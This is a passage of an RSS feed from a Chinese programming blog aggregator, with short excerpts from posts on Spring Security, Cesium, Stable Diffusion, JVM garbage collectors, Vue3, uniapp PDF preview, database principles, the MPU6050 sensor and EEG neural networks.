      <description>AuthenticationEntryPoint AuthenticationEntryPoint : spring security 中的一个接口，用于处理认证失败或者未认证的请求。当用户尝试访问受保护的资源而未经过身份验证，，或者身份验证失败的时候，调用&#xA;FilterSecurityInterceptor : 对受保护资源的控制访问 和 权限验证&#xA;作用：&#xA;访问控制决策权限验证异常处理前置处理和后置处理 ExceptionTranslateFilter : 处理身份验证和访问控制过程中的异常，，主要捕获spring security中抛出的异常，，并根据异常的类型，，来处理&#xA;作用：&#xA;异常处理认证失败处理访问拒绝处理异常转换 AuthenticationEntryPoint使用 定义一个 AuthenticationEntryPoint 的bean&#xA;@Component public class CustomAuthenticationEntryPoint implements AuthenticationEntryPoint { @Override public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException { String requestURI = request.getRequestURI(); String msg = String.format(&#34;请求访问 %s,认证失败，无法访问系统资源 &#34;, requestURI); response.setStatus(200); response.setContentType(&#34;application/json&#34;); response.setCharacterEncoding(&#34;utf-8&#34;); response.getWriter().write(msg); } } 配置到spring-security中&#xA;原理：&#xA;所有需要被认证的请求 都会走FilterSecurityInterceptor 这个拦截器会去判断是否认证，是否有权限访问，，如果没有权限，，，会被跳到 ExceptionTranslateFilter这个filter中</description>
    </item>
    <item>
      <title>Cesium教程(十)：标签加载</title>
      <link>https://bchobby.github.io/posts/57173049acb8d5843df5af845023248f/</link>
      <pubDate>Sat, 03 Jun 2023 11:14:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57173049acb8d5843df5af845023248f/</guid>
      <description>标签是一种特殊的空间数据，相当于二维地图中的图标，主要用作标注信息，标明三维模型或其他&#xA;地理空间数据的名称等属性。 这里以天河机场为例，添加文字和图片等信息。&#xA;代码编写&#xA;const viewer = new Cesium.Viewer(&#34;cesiumContainer&#34;, { imageryProvider: Cesium.createWorldImagery({ style: Cesium.IonWorldImageryStyle.AERIAL_WITH_LABELS, }) }); viewer.entities.add({ position: Cesium.Cartesian3.fromDegrees(114.21147 , 30.77195), label: { text: &#34;天河机场&#34;, font: &#34;42px Helvetica&#34;, fillColor: Cesium.Color.RED, }, }); viewer.entities.add({ position: Cesium.Cartesian3.fromDegrees(114.21147 , 30.77195), billboard: { image: &#34;./data/img.png&#34;, width: 100, height: 100, }, }); 实现效果</description>
    </item>
    <item>
      <title>Stable Diffusion 超详细讲解</title>
      <link>https://bchobby.github.io/posts/f4e4024e03ff7012124a789d16629269/</link>
      <pubDate>Sat, 03 Jun 2023 10:42:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4e4024e03ff7012124a789d16629269/</guid>
      <description>Stable Diffusion 超详细讲解 这篇文章是 《Stable Diffusion原理详解》的后续，在《Stable Diffusion原理详解》中我更多的是以全局视角讲解了 Stable Diffusion 的原理和工作流程，并未深入步骤细节。本文将在《Stable Diffusion原理详解》和《Diffusion Model 深入剖析》这两篇文章的基础上，进一步细致地讲解 Stable Diffusion 的算法原理。&#xA;文章目录 Diffusion ModelDiffusion Model 概览正向扩散过程逆向扩散过程训练采样扩散速度问题 Stable Diffusion潜在空间Latent Diffusion调节机制训练采样 架构对比纯扩散模型Stable Diffusion (潜在扩散模型) 总结 Diffusion Model Stable Diffusion 脱胎于 Diffusion 模型。因此在搞懂 Stable Diffusion 之前，先搞懂 Diffusion Model 模型非常有必要。这一部分我会带大家大致过一遍 Diffusion Model。如果你想了解 Diffusion Model 的全部细节，可以阅读我之前的文章：《Diffusion Model 深入剖析》。&#xA;Diffusion Model 概览 图1. 扩散模型原理概要 Diffusion Model的训练可以分为两部分：&#xA;正向扩散过程 → 为图像添加噪声。反向扩散过程 → 去除图像中的噪声。 正向扩散过程 正向扩散过程将高斯噪声逐步添加到输入图像中。我们使用以下闭合公式（推导过程详见《Diffusion Model 深入剖析》）更快地完成噪声添加，从而直接获得特定时间步长 t t t 的噪声图像：&#xA;x t = α t ˉ x 0 + 1 − α ˉ t ε x_t=\sqrt{\bar{\alpha_t}}x_0+\sqrt{1-\bar{\alpha}_t}\varepsilon xt​=αt​ˉ​ ​x0​+1−αˉt​ ​ε</description>
    </item>
    <item>
      <title>STL模型转有限元网格</title>
      <link>https://bchobby.github.io/posts/2ac7ae3e5b0904884e727b9e83cecc95/</link>
      <pubDate>Sat, 03 Jun 2023 08:46:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ac7ae3e5b0904884e727b9e83cecc95/</guid>
      <description>随着计算机图形学、硬件和3D打印技术的发展，基于曲面三角网格的图形渲染及其文件格式越来越流行。 在有限元分析（FEA）中，工程师有时会得到基于三角形网格的几何文件（如STL文件等）并进行后续分析。 由于曲面三角网格与有限元网格的根本区别，曲面网格不能直接用于有限元法的计算。 有必要将表面网格转换为 FEA 网格以进行后续分析。 本文概述了STL表面网格和有限元网格的特点，并举例说明了如何将STL网格转换为FEA网格。&#xA;推荐：用 NSDT设计器 快速搭建可编程3D场景。&#xA;1、三角面网格 三角网格是指由三角形单元组成的曲面模型。 它使用点和边形成许多小的空间三角形来近似 3D 模型的表面。 大多数基于 3D 网格的几何体也使用这种近似方法。 使用这种原始表示方法，几乎所有的 3D 模型表面都可以使用三角形来近似。 由于三角网格处理简单快捷、可视化好、性能好，被认为是描述三维模型的常用方法之一。 随着计算机图形学的飞速发展，三角网格模型在三维动画、电子商务、计算机辅助设计、制造、数字娱乐等诸多领域得到了广泛的应用。 特别是随着3D打印技术的蓬勃兴起，三角面网格成为3D模型表示方法的重点。 同时开发了不同的数据存储格式，其中应用广泛的有STL、OFF、OBJ、PLY等。&#xA;STL格式（Stereo Lithography的简称）是3D Systems于1988年开发的一种接口协议，是一种服务于快速原型制作技术的3D图形文件格式。 STL 文件由一系列无序的三角形面组成。 每个三角面的定义包括顶点坐标和三角面的法向量。 注意文件中没有给出三角形面之间的拓扑关系，三角形通过共享两个顶点相邻。 由于简单、不易出错，STL已经成为最常用的文件格式，成为快速成型技术领域事实上的接口标准。 目前市面上几乎所有的3D打印机都是通过识别STL模型进行打印。&#xA;另一种广泛使用的三角形格式是 OFF（对象文件格式）。 与STL文件不同的是，OFF文件给出了顶点的个数以及三角形和边的个数等信息，但OFF文件并没有指明三角形的法向量。 OFF文件可读性强，点集和面集简单明了。 它们都以 OFF 关键字开头，易于识别。 除了OFF文件，PLY（Standford triangle mesh）、OBJ等表面网格在工业界和学术界也有一些应用。 我们将在以后的文章中描述它们。&#xA;2、有限元分析中的 3D 网格 虽然在三维有限元分析中有一些特殊类型的单元，例如代表板（plate）和壳（shell）的面单元，代表桁架（truss）和梁（beam）的线单元。 但是，3D 实体元素使用最广泛。 常用的实体单元有四面体（terahedral）和六面体（hexahedral）单元，广泛应用于三维结构、热、流体、声学和电磁模拟。 实体单元不仅具有整体的表面信息，而且内部还有离散的网格。 这种差异也使得FEA实体网格比以STL为代表的面网格更加复杂，数据量也大得多。&#xA;有限元网格对单元的质量要求比较高。 元素不能过度扭曲。 网格密度需要适中。 粗网格会导致准确的问题。 而密集的网格会导致沉重的计算负担。 一些拓扑复杂的区域也需要密集网格。 常用的网格质量指标是：&#xA;雅可比比：由全局坐标和局部坐标得出的雅可比矩阵的比值。 理想值为 1，不能小于 0。纵横比：指元素的最长边与最短边的比值。 理想元素的纵横比为 1。偏度：元素规律性的量度。 取值范围为 0 到 1，值越小，元素越理想。 单元的排列顺序也会影响有限元分析的结果。 一般来说，二阶单元优于线性一阶单元，但二阶单元节点数的增加也会导致计算量相对较大。</description>
    </item>
    <item>
      <title>JVM学习（十四）：垃圾收集器（万字介绍CMS、G1）</title>
      <link>https://bchobby.github.io/posts/1f22cdd77351969365a094dc7fdce773/</link>
      <pubDate>Sat, 03 Jun 2023 01:07:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f22cdd77351969365a094dc7fdce773/</guid>
      <description>目录&#xA;一、垃圾收集器们 二、CMS(Concurrent-Mark-Sweep)：低延迟&#xA;2.1 什么是CMS 2.2 CMS工作流程 2.3 详细描述 2.4 CMS的优缺点 2.4.1 优点 2.4.2 弊端 2.5 CMS常用参数 三、G1（Garbage First）收集器：区域化分代式 3.1 什么是G1 3.2 G1的工作原理&#xA;3.3 G1的特点 3.4 G1的优缺点&#xA;3.4.1 优点 3.4.2 总结 3.5 G1回收器的使用场景&#xA;3.6 分区region——化整为零 3.6.1 单个Region 3.6.2 指针碰撞 3.6.3 TLAB 3.7 G1的垃圾回收过程概述&#xA;3.7.1 主要环节 3.7.2 Young GC&#xA;3.7.3 老年代并发标记&#xA;3.7.4 混合回收&#xA;3.7.5 Remember Set 3.8 年轻代GC&#xA;3.8.1 dirty card queue（脏卡表队列）&#xA;3.9 并发标记&#xA;3.10 混合回收 3.11 可选的垃圾回收过程：Full GC 3.12 G1常用的参数 四、革命性的ZGC</description>
    </item>
    <item>
      <title>Python中的类和对象是什么关系？</title>
      <link>https://bchobby.github.io/posts/396b099c81f84057c3eb2a6a3aca5f1c/</link>
      <pubDate>Fri, 02 Jun 2023 21:05:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/396b099c81f84057c3eb2a6a3aca5f1c/</guid>
      <description>嗨，大家好！今天我来给大家讲一下Python中的类和对象。&#xA;首先，我们先来举个例子。假设我们要造一辆汽车，我们需要先设计好汽车的样子、性能、大小等等，这个过程就是“类”。然后，我们需要根据这个设计来制造一辆真实的汽车，这个汽车就是“对象”。也就是说，类是一个模板，而对象是这个模板的具体实现。&#xA;在Python中，类是一种特殊的 数据类型，它可以用来描述一类东西的共性和特征。而对象则是根据类创建出来的实体，具有类所描述的属性和方法。&#xA;下面是一个简单的Python类和对象的例子：&#xA;# 定义一个Person类 class Person: def __init__(self, name, age): self.name = name self.age = age def say_hello(self): print(f&#34;Hello, my name is {self.name} and I&#39;m {self.age} years old.&#34;) # 创建一个Person对象并调用它的方法 p = Person(&#34;Tom&#34;, 25) p.say_hello() # 输出：Hello, my name is Tom and I&#39;m 25 years old. 上面这个例子中，我们定义了一个Person类，它有两个属性name和age，还有一个方法say_hello()。然后我们根据这个类创建了一个Person对象p，并调用了它的say_hello()方法，输出了问候语。&#xA;当然，类的应用远不止于此。在实际开发中，我们可以使用类来描述各种复杂的事物，比如飞机、火车、人、动物等等。下面再来看一个例子：&#xA;# 定义一个Animal类 class Animal: def __init__(self, name, age): self.name = name self.age = age def speak(self): print(f&#34;{self.name} says:&#34;, end=&#34;</description>
    </item>
    <item>
      <title>Java调用参数为xml格式的接口，分析转换返回结果</title>
      <link>https://bchobby.github.io/posts/065e1861bd26fc059d63d545ec811f98/</link>
      <pubDate>Fri, 02 Jun 2023 17:41:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/065e1861bd26fc059d63d545ec811f98/</guid>
      <description>写在前面 最近第一次接触到xml格式的接口，以下是自己编写的经验，铁汁们可以参考自己的项目自行修改。&#xA;完整代码已附在文章末尾，如有缺陷，欢迎评论区或私信交流。&#xA;解决思路 首先向接口提供方申请了接口文档，包含了接口地址和参数信息，先使用postman工具调用接口，分析参数和返回值。&#xA;调通接口 敏感数据，打码请见谅&#xA;其中，传入参数为xml文本，参数在最中间，可以通过字符串拼接，来实现对参数的修改。&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;soap12:Envelope xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns:xsd=&#34;http://www.w3.org/2001/XMLSchema&#34; xmlns:soap12=&#34;http://www.w3.org/2003/05/soap-envelope&#34;&amp;gt; &amp;lt;soap12:Body&amp;gt; &amp;lt;GetDataRtnJsonObject xmlns=&#34;http://tempuri.org/&#34;&amp;gt; &amp;lt;参数一&amp;gt;张三&amp;lt;/参数一&amp;gt; &amp;lt;参数二&amp;gt;某单位&amp;lt;/参数二&amp;gt; &amp;lt;参数三&amp;gt;接口授权码&amp;lt;/参数三&amp;gt; &amp;lt;参数四&amp;gt;是否仅查询增量数据&amp;lt;/参数四&amp;gt; &amp;lt;piPageIndex&amp;gt;页码&amp;lt;/piPageIndex&amp;gt; &amp;lt;piPageSize&amp;gt;页行数&amp;lt;/piPageSize&amp;gt; &amp;lt;/GetDataRtnJsonObject&amp;gt; &amp;lt;/soap12:Body&amp;gt; &amp;lt;/soap12:Envelope&amp;gt; 返回参数也为xml文本，返回结果也在最中间，可以直接通过字符串截取，再使用JSONObject.parseObject() 将json格式文本转为需要的数据结构。&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;soap:Envelope xmlns:soap=&#34;http://www.w3.org/2003/05/soap-envelope&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns:xsd=&#34;http://www.w3.org/2001/XMLSchema&#34;&amp;gt; &amp;lt;soap:Body&amp;gt; &amp;lt;GetDataRtnJsonObjectResponse xmlns=&#34;http://tempuri.org/&#34;&amp;gt; &amp;lt;GetDataRtnJsonObjectResult&amp;gt; { &#34;DataCount&#34;:2, &#34;PageCount&#34;:64, &#34;Datas&#34;:[ {&#34;ROWID&#34;:1,&#34;ORGCODE&#34;:&#34;001&#34;}, {&#34;ROWID&#34;:2,&#34;ORGCODE&#34;:&#34;002&#34;} ], &#34;ErrMsg&#34;:&#34;&#34; } &amp;lt;/GetDataRtnJsonObjectResult&amp;gt; &amp;lt;/GetDataRtnJsonObjectResponse&amp;gt; &amp;lt;/soap:Body&amp;gt; &amp;lt;/soap:Envelope&amp;gt; 代码编写 吆西，分析完输入参数和返回参数后，解决思路自然就有了。&#xA;1、接口的输入参数虽然复杂，且为xml格式，但每次仅需要更改最中间的几个参数即可。&#xA;可以编写公共方法，将查询的几个变量塞入xml文本中指定位置，组装成完整xml请求代码块。&#xA;注意：在此的输入参数为ABCD等，仅仅为了示例，铁汁们编写代码时要使用英文驼峰命名的变量名，不然以后自己都要看不懂啦QAQ&#xA;/** * @Description 将请求参数，组合为XML格式 * @Date 17:01 2023/4/27 * @Param [A, B, C, D, page, pageSize] * @return java.</description>
    </item>
    <item>
      <title>VUE3中检测元素是否出现在视图窗口</title>
      <link>https://bchobby.github.io/posts/71b26a88cde4d5baf701f9d6374a05a8/</link>
      <pubDate>Fri, 02 Jun 2023 16:43:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71b26a88cde4d5baf701f9d6374a05a8/</guid>
      <description> 直接上代码&#xA;&amp;lt;template&amp;gt; &amp;lt;div ref=&#34;box&#34;&amp;gt;&amp;lt;div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup&amp;gt; import {ref,onMounted} from &#34;vue&#34; // 获取要检测的元素,必须使用的是vue中获取元素的方式 const box = ref(null) onMounted(()=&amp;gt;{ // 检测元素是否在视图窗口的函数 const observer = new IntersectionObserver((entries) =&amp;gt; { entries.forEach((entry) =&amp;gt; { if (entry.isIntersecting) { // 当元素进入视窗口时触执行这里面的代码 console.log(&#39;元素进入视图窗口&#39;, box) } }); }); observer.observe(box.value); }) &amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>three.js粒子系统封装</title>
      <link>https://bchobby.github.io/posts/52941250e20f56e4f64275d1ea68de9d/</link>
      <pubDate>Fri, 02 Jun 2023 16:32:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52941250e20f56e4f64275d1ea68de9d/</guid>
      <description>粒子系统 使用 import * as THREE from &#39;three/build/three.module&#39;; export default class SpriteParticleSystem extends THREE.Object3D { constructor(param) { super(); this.cloud = param.cloud; this.rate = param.rate !== undefined ? param.rate : 3; this.num = param.num !== undefined ? param.num : 30; this.texture = param.texture; this.scaleR = param.scaleR !== undefined ? param.scaleR : [1, 10]; this.speedR = param.speedR !== undefined ? param.speedR : [10, 10]; this.terminalSpeed = param.terminalspeed !== undefined ? param.terminalspeed : null; this.</description>
    </item>
    <item>
      <title>uniapp App端 实现pdf文件预览</title>
      <link>https://bchobby.github.io/posts/2d45a524a390af19670053d904a348ba/</link>
      <pubDate>Fri, 02 Jun 2023 16:13:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d45a524a390af19670053d904a348ba/</guid>
      <description>一、下载pdf预览需要用到的相关文件（即hybrid文件夹）&#xA;微信关注公众号【海贼王部落】，回复【uniapp】，获取网盘下载链接。&#xA;二、将步骤一下载解压得到的hybrid文件夹放在/src目录下，即 /src/hybrid&#xA;三、预览pdf&#xA;1、预览pdf需要用到uniapp的webview组件，所以注册并创建一个专门用于预览pdf的页面，页面使用webview组件。&#xA;/pages/webview/index.vue：&#xA;&amp;lt;template&amp;gt; &amp;lt;view style=&#34;width: 100%;&#34;&amp;gt; &amp;lt;web-view :src=&#34;allUrl&#34;&amp;gt;&amp;lt;/web-view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data () { return { allUrl: &#39;&#39;, viewerUrl: &#39;/hybrid/html/web/viewer.html&#39;, pdfUrl: &#39;http://119.91.134.164:60800/enterprise_integrated_services_file/file/download?fileUrl=n0/publicity/20220314/pdf/058416/%E9%99%84%E4%BB%B6%20%202021%E5%B9%B4%E4%BF%83%E8%BF%9B%E5%B0%8F%E5%BE%AE%E5%B7%A5%E4%B8%9A%E4%BC%81%E4%B8%9A%E4%B8%8A%E8%A7%84%E6%A8%A1%E5%8F%91%E5%B1%95%E6%89%B6%E6%8C%81%E5%AE%A1%E6%A0%B8%E7%BB%93%E6%9E%9C%EF%BC%88%E7%AC%AC%E4%BA%8C%E6%89%B9%EF%BC%89.pdf&#39; } }, onLoad (options) { console.log(20, options.pdfUrl) // this.pdfUrl = options.pdfUrl let fileUrl = encodeURIComponent(this.pdfUrl) // encodeURIComponent 函数可把字符串作为 URI 组件进行编码。 this.allUrl = this.viewerUrl + &#39;?file=&#39; + fileUrl } } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; &amp;lt;/style&amp;gt; 其中，pdfUrl可在跳转到预览页面时作为参数传递过来，也可以在预览页面请求获取，根据实际业务需求。&#xA;2、App端预览效果（好像不支持h5）&#xA;记录于2022-5-27.</description>
    </item>
    <item>
      <title>数据库原理(核心知识♥)</title>
      <link>https://bchobby.github.io/posts/5b46908105391c7809345be3d4cc8f1c/</link>
      <pubDate>Fri, 02 Jun 2023 14:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b46908105391c7809345be3d4cc8f1c/</guid>
      <description>目录 一、Database Fundamentals&#xA;1.1数据库系统(DBMS)与文件系统(File System)&#xA;1.2数据库三级模式(Schema)、两级映像(Mapping)&#xA;1.3Responsibilities of DBA&#xA;1.4数据独立性(Data Independence)&#xA;--逻辑(logical)独立性&#xA;--物理(physical)独立性&#xA;二、Relational Database&#xA;主码(Primary Key)、外码(Foreign Key)、候选码(Candidate Key)&#xA;关键操作&#xA;--选择(Selection)&#xA;--投影(Projection)&#xA;--连接(Join)&#xA;--除(Division)&#xA;关系代数(Relation Algebra)运算&#xA;三、SQL&#xA;Characteristics of SQL&#xA;一些简单查询语句&#xA;SUB-QUERIES 子查询&#xA;增删改查&#xA;--create、insert、alter、update、drop、delete&#xA;--select/from/where/group by/having/order by&#xA;内连接和外连接(Join/Left Join)&#xA;嵌套查询(Embedded Query)&#xA;--IN/NOT IN&#xA;--EXISTS/NOT EXISTS&#xA;四、Database Objects&#xA;索引(Index)的分类和正确使用&#xA;--Cluster/Non-cluster/Bitmap/Functional/...&#xA;CLUSTERED INDEX(聚集索引)&#xA;NON-CLUSTERED INDEX(非聚集索引)&#xA;​Bitmap Index(位图索引)&#xA;Function-based Indexes(基于函数的索引)&#xA;视图(View)的作用&#xA;--与基本表的区别和联系&#xA;触发器(Trigger)&#xA;存储过程(Stored Procedure)&#xA;完整性(Integrity) vs 安全性(Security)&#xA;五、Normalization&#xA;规范化(Normalization)的目的&#xA;--冗余(redundancy)</description>
    </item>
    <item>
      <title>【记录】MPU6050原理快速入门（附手册）</title>
      <link>https://bchobby.github.io/posts/74a93af1135d5b65eccca38624488cc9/</link>
      <pubDate>Fri, 02 Jun 2023 14:50:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74a93af1135d5b65eccca38624488cc9/</guid>
      <description>目录 MPU6050&#xA;MPU6050主要参数&#xA;MPU6050通信接口&#xA;MPU6050电路&#xA;向MPU6050的一个寄存器写一个字节的数据&#xA;从MPU6050的一个寄存器读一个字节的数据&#xA;MPU6050 MPU6050是一个运动处理传感器，其内部集成了3轴加速度传感器和3轴陀螺仪（角速度传感器）（芯片内部陀螺仪，当改变其转动时会产生阻力，通过测量产生阻力的大小来测量其角速度大小）,以及一个可扩展数字运动处理器。&#xA;MPU6050数据手册和寄存器手册链接：&#xA;链接：https://pan.baidu.com/s/10sNMvSSCPIlRWJgiucFr3Q 提取码：1111&#xA;MPU6050主要参数 可测量X、Y、Z轴三个方向的角速度；&#xA;可编程设置角速度测量范围为±250、±500、±1000、±2000°/sec；&#xA;可测量X、Y、Z轴三个方向的加速度；&#xA;可编程设置加速度测量范围为±2g、±4g、±8g、±16g；&#xA;可编程设置低功耗模式；&#xA;可编程设置采样频率；&#xA;.....&#xA;MPU6050通信接口 MPU6050可以使用I2C总线和其他器件进行数据交互，我们可以使用I2C总线向MPU6050中的控制寄存器写入数据来设置MPU6050的工作参数；同时，MPU6050测量的角速度、加速度都保存在其内部的角速度寄存器、加速度寄存器中，因此也可以使用I2C总线从MPU6050中的数据寄存器读取数据来获取加速度、角速度等信息。&#xA;MPU6050电路 向MPU6050的一个寄存器写一个字节的数据 1.主机(Exynos4412)发送起始信号&#xA;2.主机发送从机地址(MPU6050的地址)及读写方向(写)&#xA;3.从机(MPU6050)发送应答信号&#xA;4.主机发送一个字节数据(要写的寄存器的地址)&#xA;5.从机发送应答信号&#xA;6.主机发送一个字节数据(要写到寄存器的数据)&#xA;7.从机发送应答信号&#xA;8.主机发送停止信号&#xA;从MPU6050的一个寄存器读一个字节的数据 1.主机(Exynos4412)发送起始信号&#xA;2.主机发送从机地址(MPU6050的地址)及读写方向(写)&#xA;3.从机(MPU6050)发送应答信号&#xA;4.主机发送一个字节数据(要写的寄存器的地址)&#xA;5.从机发送应答信号&#xA;6.主机(Exynos4412)发送起始信号&#xA;7.主机发送从机地址(MPU6050的地址)及读写方向(读)&#xA;8.从机(MPU6050)发送应答信号&#xA;9.从机发送一个字节数据(要读的寄存器中的数据)&#xA;10.主机发送非应答信号(不再接收更多的数据)&#xA;11.主机发送停止信号&#xA;编程应用可以看这篇文章：&#xA;【记录】自己动手使用HAL库对MPU6050进行编程</description>
    </item>
    <item>
      <title>入站的2048天</title>
      <link>https://bchobby.github.io/posts/0a52d7bb8459db324bcff0c6fc73b888/</link>
      <pubDate>Fri, 02 Jun 2023 10:57:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a52d7bb8459db324bcff0c6fc73b888/</guid>
      <description>时间如白驹过隙，指尖流沙</description>
    </item>
    <item>
      <title>CNN、RNN、LSTM、BiLSTM、Transformer的在EEG信号处理中的作用</title>
      <link>https://bchobby.github.io/posts/c4d055265a6f7a817cfac8e9c97798b8/</link>
      <pubDate>Fri, 02 Jun 2023 10:02:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4d055265a6f7a817cfac8e9c97798b8/</guid>
      <description>一、CNN与RNN的差异：&#xA;CNN（卷积神经网络）和RNN（循环神经网络）是深度学习中常用的两种神经网络结构，它们在处理不同类型的数据和解决不同类型的问题时具有不同的优势。&#xA;结构和连接方式：&#xA;CNN主要用于处理具有网格结构的数据，例如图像。它使用卷积层和池化层来提取图像中的特征，通过共享权重和局部感知字段的方式，能够有效地捕捉到图像中的空间局部特征。RNN主要用于处理序列数据，例如自然语言和时间序列数据。它通过循环连接将前一时刻的隐藏状态传递到当前时刻，从而能够捕捉到数据中的时序依赖关系。 数据处理方式：&#xA;CNN通过卷积操作和池化操作来处理数据，卷积操作可以提取数据的局部特征，并且通过层层叠加的方式逐渐扩大感受野，池化操作可以对特征进行降维和采样，使得网络对输入的变化更加鲁棒。RNN通过时间序列上的循环连接处理数据，能够保留历史信息，并且在处理序列中的每个元素时共享参数，从而在不同位置上学习到相同的模式。 适用场景：&#xA;CNN在处理图像分类、目标检测和图像生成等计算机视觉任务上表现出色，因为图像具有明显的空间局部特征，并且CNN能够通过卷积和池化操作提取这些特征。RNN在处理自然语言处理（NLP）任务，如语言建模、机器翻译和情感分析等上表现良好，因为语言具有时序性质，RNN能够对句子中的单词进行顺序建模。 需要注意的是，CNN和RNN并不是相互排斥的，它们可以结合使用，例如在图像字幕生成任务中，可以使用CNN提取图像特征，然后将这些特征输入到RNN中生成描述文字。此外，还有一些扩展和变体的神经网络结构，如LSTM（长短期记忆网络）和Transformer，在处理特定任务时可能会取得更好的效果。&#xA;二、CNN、RNN、LSTM、BiLSTM、Transformer在信号提取方面的作用：&#xA;CNN和RNN在处理EEG信号（脑电图信号）时具有不同的特点和应用方式：&#xA;CNN在EEG信号处理中的应用：&#xA;时空特征提取：EEG信号通常是一个二维时间序列数据，其中时间表示不同的时间点，而空间表示不同的电极位置。CNN在处理EEG信号时可以利用其卷积层和池化层来提取时空特征。卷积层可以捕捉到EEG信号的局部特征，例如某个频率范围内的振幅变化，而池化层可以对特征进行降维和采样。多通道处理：EEG信号通常由多个电极采集而来，形成多个通道。CNN可以很好地处理多通道的EEG信号，每个通道可以看作是一个输入通道，通过卷积层提取每个通道的特征，然后将这些特征进行融合或进一步处理。EEG分类和检测：CNN可以应用于EEG信号的分类和检测任务。通过使用卷积层提取EEG信号的特征，然后使用全连接层进行分类或检测，例如脑机接口（Brain-Computer Interface）任务中的运动意图分类或发作检测。 RNN在EEG信号处理中的应用：&#xA;时序建模：EEG信号是一个时间序列，RNN能够很好地建模时间上的依赖关系。RNN通过循环连接在不同时间步之间传递信息，可以捕捉到EEG信号中的时间动态变化，例如脑电波的相位和幅度变化。序列生成：RNN也可用于生成EEG信号，例如生成具有与训练数据相似的脑电波形状或频谱特征的合成信号。这在一些模拟实验或信号处理算法验证中很有用。序列标记和预测：RNN可以应用于EEG信号的序列标记和预测任务，例如睡眠分期或癫痫发作检测。RNN可以对每个时间步的EEG信号进行分类或预测，从而识别不同的脑电活动状态或检测异常事件。 总之，CNN主要适用于提取EEG信号的时空特征和多通道处理，而RNN主要适用于捕捉EEG信号中的时间依赖关系和序列建模。在实际应用中，CNN和RNN可以结合使用，以充分利用它们各自的优势。&#xA;LSTM的作用：&#xA;建模长期依赖关系：EEG信号中的时间依赖关系对于理解脑电活动非常重要。LSTM通过使用门控机制，如遗忘门和输入门，能够有效地捕捉EEG信号中的长期依赖关系。它可以记忆和更新较长时间跨度内的信息，从而更好地捕捉EEG信号中的长期模式。处理变长序列：EEG信号的采样率可能不同，导致序列的长度不一致。LSTM能够适应变长序列的处理，通过动态地调整记忆单元的状态和输出，适应不同长度的EEG信号。 BiLSTM的作用：&#xA;捕捉时序信息：EEG信号是时间序列数据，其中时间上的依赖关系对于理解脑电活动非常重要。BiLSTM通过同时考虑过去和未来的上下文信息，能够更全面地捕捉EEG信号中的时序模式和动态变化。它利用前向和后向的循环连接，能够有效地建模时间依赖性，并提取时序特征。上下文特征融合：BiLSTM通过在前向和后向方向上处理输入序列，能够获取更全面的上下文信息。它将前向和后向的隐藏状态进行拼接，形成更丰富的特征表示。这种上下文特征融合有助于提取EEG信号中不同时间点和通道之间的关系，从而改善特征表达能力。 无论是LSTM还是BiLSTM，它们在EEG信号提取中都能够有效地捕捉到时序信息和长期依赖关系。具体选择哪种模型取决于任务需求和数据特点。如果任务更加关注时序动态变化或需要双向建模，BiLSTM可能是更合适的选择。而如果任务更加关注长期依赖关系和变长序列处理，LSTM可能更适合。此外，结合其他模型或进行模型融合也可以进一步提升EEG信号提取的性能。&#xA;Transformer在EEG信号提取中可以发挥以下作用：&#xA;建模长期依赖关系：EEG信号中可能存在长期的时间依赖关系，而传统的RNN模型在处理长序列时容易出现梯度消失或梯度爆炸问题。Transformer通过自注意力机制可以捕捉序列中的全局依赖关系，有效地处理长序列数据，包括EEG信号。它能够在不受序列长度限制的情况下对长期依赖进行建模，从而更好地捕捉EEG信号中的时序信息。&#xA;平行计算与效率：传统的RNN模型是顺序处理序列数据的，而Transformer可以进行并行计算，提高计算效率。对于EEG信号的处理，特别是多通道EEG数据，Transformer能够并行处理多个通道的信号，加快处理速度，适用于大规模数据集和复杂任务。&#xA;自注意力机制：Transformer利用自注意力机制，即通过将输入序列中的每个元素与其他元素进行交互，自动学习每个元素的重要性权重。这种机制有助于捕捉EEG信号中的关键时间点或通道，从而提取具有重要信息的特征。在EEG信号中，这种机制可以帮助发现不同时间步之间的相关性和重要的空间模式。&#xA;编码器-解码器结构：Transformer模型通常具有编码器-解码器结构，在EEG信号处理中可以用于序列到序列的任务，如EEG信号的生成、修复或预测。编码器部分用于提取输入序列的特征表示，解码器部分根据编码器的输出进行相应的预测或生成。这种结构在EEG信号生成、预测和重建等任务中具有潜力。&#xA;综上所述，Transformer在EEG信号提取中通过建模长期依赖关系、并行计算、自注意力机制和编码器-解码器结构等方面发挥作用。它在处理长序列、多通道EEG数据和复杂任务时具有优势，有助于提取EEG信号中的重要特征并改善性能。</description>
    </item>
    <item>
      <title>git版本管理工具</title>
      <link>https://bchobby.github.io/posts/21585a2a38e53a85f763bd2804fad09a/</link>
      <pubDate>Thu, 01 Jun 2023 23:36:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21585a2a38e53a85f763bd2804fad09a/</guid>
